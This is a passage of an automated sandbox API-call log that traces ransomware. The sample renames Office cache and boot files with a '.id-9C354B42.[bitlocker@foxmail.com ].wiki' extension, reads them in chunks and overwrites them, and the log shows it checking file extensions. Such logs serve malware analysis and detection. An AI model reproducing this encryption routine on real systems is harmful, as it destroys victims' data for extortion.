dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.159] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=75344) returned 1 [0043.159] CloseHandle (hObject=0x164) returned 1 [0043.159] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0043.159] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.159] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.519] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=70361744) returned 1 [0043.519] CloseHandle (hObject=0x17c) returned 1 [0043.519] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab")) returned 0x2020 [0043.519] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.520] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0043.520] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0043.520] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc6c | out: lpNewFilePointer=0x0) returned 1 [0043.520] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0043.520] ReadFile (in: hFile=0x17c, lpBuffer=0x3ec0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ec0058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.528] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0043.529] ReadFile (in: hFile=0x17c, lpBuffer=0x3f00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3f00058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.534] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0043.534] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0043.534] ReadFile (in: hFile=0x17c, lpBuffer=0x3f40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3f40058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.552] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.552] WriteFile (in: hFile=0x17c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x33cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0043.845] SetEndOfFile (hFile=0x17c) returned 1 [0043.846] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40454f0 [0043.846] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0043.846] WriteFile (in: hFile=0x17c, lpBuffer=0x40454f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x40454f0*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.847] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0043.847] WriteFile (in: hFile=0x17c, lpBuffer=0x40454f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x40454f0*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.847] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0043.847] WriteFile (in: hFile=0x17c, lpBuffer=0x40454f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x40454f0*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.849] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40454f0 | out: hHeap=0x6c0000) returned 1 [0043.849] CloseHandle (hObject=0x17c) returned 1 [0046.763] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0046.763] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0046.763] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0046.763] lstrlenW (lpString=".doc") returned 4 [0046.763] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.763] lstrlenW (lpString=".docx") returned 5 [0046.763] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0046.763] lstrlenW (lpString=".pdf") returned 4 [0046.763] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.763] lstrlenW (lpString=".xls") returned 4 [0046.763] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.763] lstrlenW (lpString=".xlsx") returned 5 [0046.763] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0046.763] lstrlenW (lpString=".ppt") returned 4 [0046.763] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0046.764] lstrlenW (lpString=".zip") returned 4 [0046.764] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.764] lstrlenW (lpString=".rar") returned 4 [0046.764] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.764] lstrlenW (lpString=".bz2") returned 4 [0046.764] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.764] lstrlenW (lpString=".7z") returned 3 [0046.764] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0046.764] lstrlenW (lpString=".dbf") returned 4 [0046.764] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0046.764] lstrlenW (lpString=".1cd") returned 4 [0046.764] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0046.764] lstrlenW (lpString=".jpg") returned 4 [0046.764] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0046.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0046.764] lstrlenW (lpString=".doc") returned 4 [0046.764] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.764] lstrlenW (lpString=".docx") returned 5 [0046.764] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0046.764] lstrlenW (lpString=".pdf") returned 4 [0046.764] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.764] lstrlenW (lpString=".xls") returned 4 [0046.764] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.764] lstrlenW (lpString=".xlsx") returned 5 [0046.764] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0046.764] lstrlenW (lpString=".ppt") returned 4 [0046.764] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0046.764] lstrlenW (lpString=".zip") returned 4 [0046.764] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.765] lstrlenW (lpString=".rar") returned 4 [0046.765] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.765] lstrlenW (lpString=".bz2") returned 4 [0046.765] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.765] lstrlenW (lpString=".7z") returned 3 [0046.765] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.765] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0046.765] lstrlenW (lpString=".dbf") returned 4 [0046.765] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.765] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0046.765] lstrlenW (lpString=".1cd") returned 4 [0046.765] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.765] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0046.765] lstrlenW (lpString=".jpg") returned 4 [0046.765] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.765] lstrcmpiW (lpString1=".msi", lpString2=".wiki") returned -1 [0046.765] lstrlenW (lpString="OutlookMUI.msi") returned 14 [0046.765] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0046.765] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=2865664) returned 1 [0046.765] CloseHandle (hObject=0x17c) returned 1 [0046.765] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi")) returned 0x2020 [0046.766] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0046.766] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0046.766] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0046.766] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc6c | out: lpNewFilePointer=0x0) returned 1 [0046.766] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0046.766] ReadFile (in: hFile=0x17c, lpBuffer=0x3ec0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ec0058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.774] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0046.774] ReadFile (in: hFile=0x17c, lpBuffer=0x3f00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3f00058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.782] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0046.782] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0046.782] ReadFile (in: hFile=0x17c, lpBuffer=0x3f40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3f40058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.797] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0046.797] WriteFile (in: hFile=0x17c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x33cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0047.051] SetEndOfFile (hFile=0x17c) returned 1 [0047.051] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40854f8 [0047.055] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0047.055] WriteFile (in: hFile=0x17c, lpBuffer=0x40854f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x40854f8*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.057] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0047.057] WriteFile (in: hFile=0x17c, lpBuffer=0x40854f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x40854f8*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.061] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0047.061] WriteFile (in: hFile=0x17c, lpBuffer=0x40854f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x40854f8*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.063] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40854f8 | out: hHeap=0x6c0000) returned 1 [0047.063] CloseHandle (hObject=0x17c) returned 1 [0047.669] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0047.669] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0047.669] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0047.669] lstrlenW (lpString=".doc") returned 4 [0047.669] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.669] lstrlenW (lpString=".docx") returned 5 [0047.669] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0047.669] lstrlenW (lpString=".pdf") returned 4 [0047.670] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.670] lstrlenW (lpString=".xls") returned 4 [0047.670] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.670] lstrlenW (lpString=".xlsx") returned 5 [0047.670] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0047.670] lstrlenW (lpString=".ppt") returned 4 [0047.670] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.670] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0047.670] lstrlenW (lpString=".zip") returned 4 [0047.670] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.670] lstrlenW (lpString=".rar") returned 4 [0047.670] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.670] lstrlenW (lpString=".bz2") returned 4 [0047.670] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.670] lstrlenW (lpString=".7z") returned 3 [0047.670] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.670] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0047.670] lstrlenW (lpString=".dbf") returned 4 [0047.670] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.670] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0047.670] lstrlenW (lpString=".1cd") returned 4 [0047.670] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.670] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0047.670] lstrlenW (lpString=".jpg") returned 4 [0047.670] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.670] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0047.670] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0047.670] lstrlenW (lpString=".doc") returned 4 [0047.670] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.670] lstrlenW (lpString=".docx") returned 5 [0047.670] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0047.670] lstrlenW (lpString=".pdf") returned 4 [0047.670] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.671] lstrlenW (lpString=".xls") returned 4 [0047.671] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.671] lstrlenW (lpString=".xlsx") returned 5 [0047.671] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0047.671] lstrlenW (lpString=".ppt") returned 4 [0047.671] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.671] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0047.671] lstrlenW (lpString=".zip") returned 4 [0047.671] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.671] lstrlenW (lpString=".rar") returned 4 [0047.671] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.671] lstrlenW (lpString=".bz2") returned 4 [0047.671] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.671] lstrlenW (lpString=".7z") returned 3 [0047.671] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.671] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0047.671] lstrlenW (lpString=".dbf") returned 4 [0047.671] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.671] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0047.671] lstrlenW (lpString=".1cd") returned 4 [0047.671] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.671] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0047.671] lstrlenW (lpString=".jpg") returned 4 [0047.671] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.671] lstrcmpiW (lpString1=".cab", lpString2=".wiki") returned -1 [0047.671] lstrlenW (lpString="WordLR.cab") returned 10 [0047.671] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0047.672] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=43806141) returned 1 [0047.672] CloseHandle (hObject=0x17c) returned 1 [0047.672] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab")) returned 0x2020 [0047.672] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0047.672] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0047.792] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0047.792] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc6c | out: lpNewFilePointer=0x0) returned 1 [0047.792] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0047.792] ReadFile (in: hFile=0x17c, lpBuffer=0x3ec0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ec0058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.856] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0047.856] ReadFile (in: hFile=0x17c, lpBuffer=0x3f00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3f00058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.860] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0047.860] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0047.860] ReadFile (in: hFile=0x17c, lpBuffer=0x3f40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3f40058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.939] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.939] WriteFile (in: hFile=0x17c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x33cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, 